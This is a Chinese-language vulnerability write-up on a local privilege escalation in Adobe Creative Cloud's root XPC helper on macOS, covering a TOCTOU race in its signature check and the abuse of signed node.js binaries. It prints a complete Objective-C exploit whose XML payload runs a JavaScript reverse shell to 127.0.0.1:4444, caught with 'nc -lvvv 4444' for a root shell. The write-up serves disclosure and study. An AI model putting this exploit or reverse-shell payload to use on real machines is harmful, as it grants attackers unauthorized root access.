导语:漏洞概况 该漏洞是在macOS环境中发现,但目前推测此问题可能也会影响Windows版本。 在Adobe Creative Cloud安装时,会安装一个具有root权限的守护程序: /Library/PrivilegedHelperTools/com.adobe.acc.installer 该程序通过NSXPCConnect

漏洞概况

该漏洞是在macOS环境中发现,但目前推测此问题可能也会影响Windows版本。

在Adobe Creative Cloud安装时,会安装一个具有root权限的守护程序:

/Library/PrivilegedHelperTools/com.adobe.acc.installer

该程序通过NSXPCConnection远程对象接受XPC连接。在SMJobBlessHelper类中,有一个方法handleAction:withReply:,用于提供给非root进程。其中的消息都采用XML序列化。

举例来说,以下消息将会以root身份启动进程:

<?xml version="1.0" encoding="UTF-8"?>
 <action>
 <actionType>createProcess</actionType>
 <actionArgs><cmdArgs><cmdArg>--pipename=25D51488-9FD7-4A81-B815-5997A6EBAF25</cmdArg>
 </cmdArgs>
 <processPath>/Library/Application Support/Adobe/Adobe Desktop Common/ElevationManager/Adobe Installer</processPath>
 </actionArgs></action>

但是,在建立连接和创建进程之前,都会进行签名检查:

// SMJobBlessHelper - (char)listener:(id) shouldAcceptNewConnection:(id)
char __cdecl -[SMJobBlessHelper listener:shouldAcceptNewConnection:](struct SMJobBlessHelper *self, SEL a2, id a3, id a4)
{
  v4 = &__stack_chk_guard;
  v29 = __stack_chk_guard;
  if ( a4 )
  {
    pid = objc_msgSend(a4, "processIdentifier");
    v6 = new_log_target();
    v7 = (void (__cdecl ***)(_DWORD, _DWORD, _DWORD))sub_3010((int)v6);
    (**v7)(
      v7,
      "Inside shouldAcceptNewConnection | Received new connection in SMJobBlessHelper from client with PID:%d",
      pid);
    __bzero(filename, 4096);
    __bzero(proc_name, 4096);
    if ( proc_pidpath((int)pid, filename, 0x1000u) )
    {
      if ( (unsigned __int8)is_valid_adobe_binary((int)filename) )
      {
        len = ::proc_name((int)pid, proc_name, 0x100u);
int __stdcall sub_31C0(std::string *a1, int a2)
{
  v39 = __stack_chk_guard;
  std::string::string(&v35, "<output><result>Fail</result></output>");
  v34 = 0;
  v33 = 0;
  if ( (unsigned __int8)is_valid_adobe_binary(*(_DWORD *)(a2 + 20)) )
  {
    v2 = new_log_target();
    v3 = sub_3010((int)v2);
    (*(void (__cdecl **)(int, const char *, _DWORD, _DWORD))(*(_DWORD *)v3 + 8))(
      v3,
      "Inside ProcessLauncher::executeAction | LaunchingProcess at path %s with waitForFinish %d",
      *(_DWORD *)(a2 + 16),
      *(_BYTE *)(a2 + 24));
    v4 = *(_BYTE *)(a2 + 24);
    v32 = 0;
    v5 = OOBEUtils::ProcessUtils::LaunchProcess((_DWORD *)(a2 + 16), a2 + 4, (int)&v34, v4, &v33, 0, (int)&v32, 0);
    v6 = new_log_target();

在OOBEUtils::CryptUtils::GetCANameChain中,仅仅是通过运行/usr/bin/codesign命令来验证调用方和新进程。

在这里,我们很容易发现存在竞态条件TOCTOU(Time-of-check-to-time-of-use)的问题。也就是说,在检查和使用期间,存在着一段空档期,而这段时间可能会被攻击者用来执行非法操作。

v4 = objc_msgSend("NSAutoreleasePool", "alloc");
   v29 = objc_msgSend(v4, "init");
   v5 = objc_msgSend("NSString", "stringWithUTF8String:", *(_DWORD *)this);
   v6 = objc_msgSend("NSFileManager", "defaultManager");
   if ( (unsigned __int8)objc_msgSend(v6, "fileExistsAtPath:", v5) )
   {
     v7 = objc_msgSend("NSFileManager", "defaultManager");
     if ( (unsigned __int8)objc_msgSend(v7, "fileExistsAtPath:isDirectory:", CFSTR("/usr/bin/codesign"), &v33) )
     {
       if ( !v33 )
       {
         v8 = objc_msgSend("NSArray", "arrayWithObjects:", CFSTR("-dvv"), v5, 0);
         v9 = objc_msgSend("NSTask", "alloc");
         v10 = objc_msgSend(v9, "init");
         v28 = objc_msgSend(v10, "autorelease");
         v11 = objc_msgSend("NSPipe", "pipe");
         v12 = objc_msgSend(v11, "fileHandleForReading");
         objc_msgSend(v28, "setLaunchPath:", CFSTR("/usr/bin/codesign"));
         objc_msgSend(v28, "setArguments:", v8);
         objc_msgSend(v28, "setStandardOutput:", v11);
         objc_msgSend(v28, "setStandardError:", v11);
         objc_msgSend(v28, "launch");
         usleep_UNIX2003(10000);
         v13 = objc_msgSend(v12, "readDataToEndOfFile");
         v14 = objc_msgSend("NSString", "alloc");
         v15 = objc_msgSend(v14, "initWithData:encoding:", v13, 4);
         v16 = objc_msgSend(v15, "autorelease");
         v17 = objc_msgSend("NSCharacterSet", "newlineCharacterSet");
         v31 = objc_msgSend(v16, "componentsSeparatedByCharactersInSet:", v17);
         v36 = 0LL;
         v35 = 0LL;
         v32 = objc_msgSend(v31, "countByEnumeratingWithState:objects:count:", &v35, &v34, 16);
         if ( v32 )

漏洞分析

调用usleep(100000)是一个比较长的时间窗口,足以让攻击者在此期间对文件进行修改。而在macOS系统上,针对可执行文件的运行时修改操作并不困难。因此,我们只需要复制一个Adobe签名的二进制文件,就可以在创建进程后绕过检查,从而成功对其进行替换。

不仅仅是可执行文件,pid也可能会导致TOGTOU问题。详情请参考Ian Beer的文章(https://bugs.chromium.org/p/project-zero/issues/detail?id=1223)和Samuel Groß的文章(https://saelo.github.io/presentations/warcon18_dont_trust_the_pid.pdf)。攻击者完全可以通过使用包含POSIX_SPAWN_SETEXEC属性的execve或posix_spawn来有效执行攻击。

甚至,都可以不用这么麻烦。

它使用自定义字符串匹配,来解析codesign实用程序的输出,并且解析器看起来存在一定问题(未经过实际测试)。

目前,我已经发现适用于很多IPC调用方的DLDLD_INSERT_LIBRARIES存在验证绕过漏洞,攻击者只需要将Payload加载到可信的可执行文件即可。

包含有效签名的nodejs解释器

此外,还有一个包含有效代码签名的nodejs解释器。因此,攻击者只需要以JavaScript语言编写Payload即可。

包含众多签名的node.js在多个发行版本中存在,并且它们都有相同的开发人员团队ID。

来自Adobe Creative Cloud的文件如下:

 ~ codesign -dvvv “/Applications/Utilities/Adobe Creative Cloud/CCLibrary/CCLibrary.app/Contents/libs/node”
 Executable=/Applications/Utilities/Adobe Creative Cloud/CCLibrary/CCLibrary.app/Contents/libs/node
 Identifier=node
 Format=Mach-O thin (x86_64)
 CodeDirectory v=20200 size=238276 flags=0x0(none) hashes=7442+2 location=embedded
 Hash type=sha256 size=32
 CandidateCDHash sha1=a0e41e295e0111c35cdf7dfcf0c73701b4b51896
 CandidateCDHash sha256=7649dad279f0456838ba79bfebb01d909d5bf6e8
 Hash choices=sha1,sha256
 CDHash=7649dad279f0456838ba79bfebb01d909d5bf6e8
 Signature size=8964
 Authority=Developer ID Application: Adobe Systems, Inc. (JQ525L2MZD)

来自Adobe Brackets Editor的文件如下:

 ~ codesign -dvvv “/Volumes/Brackets Release 1.12/Brackets.app/Contents/MacOS/Brackets-node”
 Executable=/Volumes/Brackets Release 1.12/Brackets.app/Contents/MacOS/Brackets-node
 Identifier=Brackets-node
 Format=Mach-O thin (x86_64)
 CodeDirectory v=20200 size=240909 flags=0x0(none) hashes=7524+2 location=embedded
 Hash type=sha256 size=32
 CandidateCDHash sha1=b4d944c41b1f3cf9bcd4ca085981ed71a5b7e7b6
 CandidateCDHash sha256=51e1a917aad91d6045a4ba3357e7b527604c4aa5
 Hash choices=sha1,sha256
 CDHash=51e1a917aad91d6045a4ba3357e7b527604c4aa5
 Signature size=8963
 Authority=Developer ID Application: Adobe Systems, Inc. (JQ525L2MZD)

在这里,我们得到的一个经验就是,不要将脚本解释器作为特权边界,因为它们只是用于执行代码的。同时,node.js解释器也可以在Windows上使用。尽管我没有进行测试,但是我相信在Windows上的实现也比较容易。

漏洞利用及修复

下面是漏洞的利用方法。使用nc -lvvv 4444命令就可以获取到一个交互式的Root Shell。

// //  main.m //  XPCFun // //  Created by CodeColorist on 06/12/2017. //  Copyright © 2017 CodeColorist. All rights reserved. //
#import <Foundation/Foundation.h> #import <xpc/xpc.h> #include <libproc.h>
#define DUMMY @"/Library/PrivilegedHelperTools/com.adobe.acc.installer"
@protocol SMJobBlessHelperProtocol - (void)handleAction:(id)arg1 withReply:(void (^)(NSString *))reply; - (void)getHelperToolVersion:(void (^)(NSString *))reply; @end
#import <Cocoa/Cocoa.h>
int main(int argc, const char * argv[]) {   @autoreleasepool {     // TOCTOU signature bypass     NSString *executable = [[NSBundle mainBundle] executablePath];     NSFileManager *mgr = [NSFileManager defaultManager];     NSError *err = nil;     [mgr removeItemAtPath:executable error:&err];     if (err) {       NSLog(@"failed to remove file: %@", err);       return -1;     }     [mgr copyItemAtPath:DUMMY toPath:executable error:&err];     if (err) {       NSLog(@"failed to override self: %@", err);       return -1;     }     // another easy way is to run a signed node.js, and use process.dlopen to inject evil dylib     NSLog(@"ready");     dispatch_semaphore_t wait_for = dispatch_semaphore_create(0);
// the local privilege escalation     NSString *kXPCServiceName = @"com.adobe.acc.installer";     NSXPCConnection *conn = [[NSXPCConnection alloc] initWithMachServiceName:kXPCServiceName options:NSXPCConnectionPrivileged];     conn.remoteObjectInterface = [NSXPCInterface interfaceWithProtocol:@protocol(SMJobBlessHelperProtocol)];     conn.invalidationHandler = ^{       NSLog(@"unknown error");       dispatch_semaphore_signal(wait_for);       exit(-1);     };     [conn resume];
    // yet another signature bypass: use node.js     NSString *xml = @"<?xml version=\"1.0\" encoding=\"UTF-8\"?><action>"       "<actionType>createProcess</actionType>"       "<actionArgs><cmdArgs><cmdArg>-e</cmdArg>"       "<cmdArg>c=new require('net').Socket();c.connect(4444,'127.0.0.1',()=>{s = require('child_process').spawn('/bin/sh',[]);c.write('!');c.pipe(s.stdin);s.stdout.pipe(c)})</cmdArg>"       "</cmdArgs>"       "<processPath>/Applications/Utilities/Adobe Creative Cloud/CCLibrary/CCLibrary.app/Contents/libs/node</processPath>"       "</actionArgs>"     "</action>";     id remote = [conn remoteObjectProxyWithErrorHandler:^(NSError *proxyError) {       NSLog(@"error: %@", proxyError);     }];     [remote handleAction:xml withReply:^(NSString *reply) {       NSLog(@"reply: %@", reply);       dispatch_semaphore_signal(wait_for);     }];     dispatch_semaphore_wait(wait_for, dispatch_time(DISPATCH_TIME_NOW, 2ull * NSEC_PER_SEC));     [mgr removeItemAtPath:executable error:&err];   }
  return 0; }

请注意,不仅是这个XPC服务容易受到攻击,此外还有共享相同代码库的其他库(例如ElevationManager)也受到此问题影响。并且,这些库可以通过其他IPC机制(例如FIFO文件)来触发。

作为修复方案,Adobe删除了存在漏洞的Codesign检查程序,并且加强了其对于字符串的检查严格程度。

源链接

Hacking more

...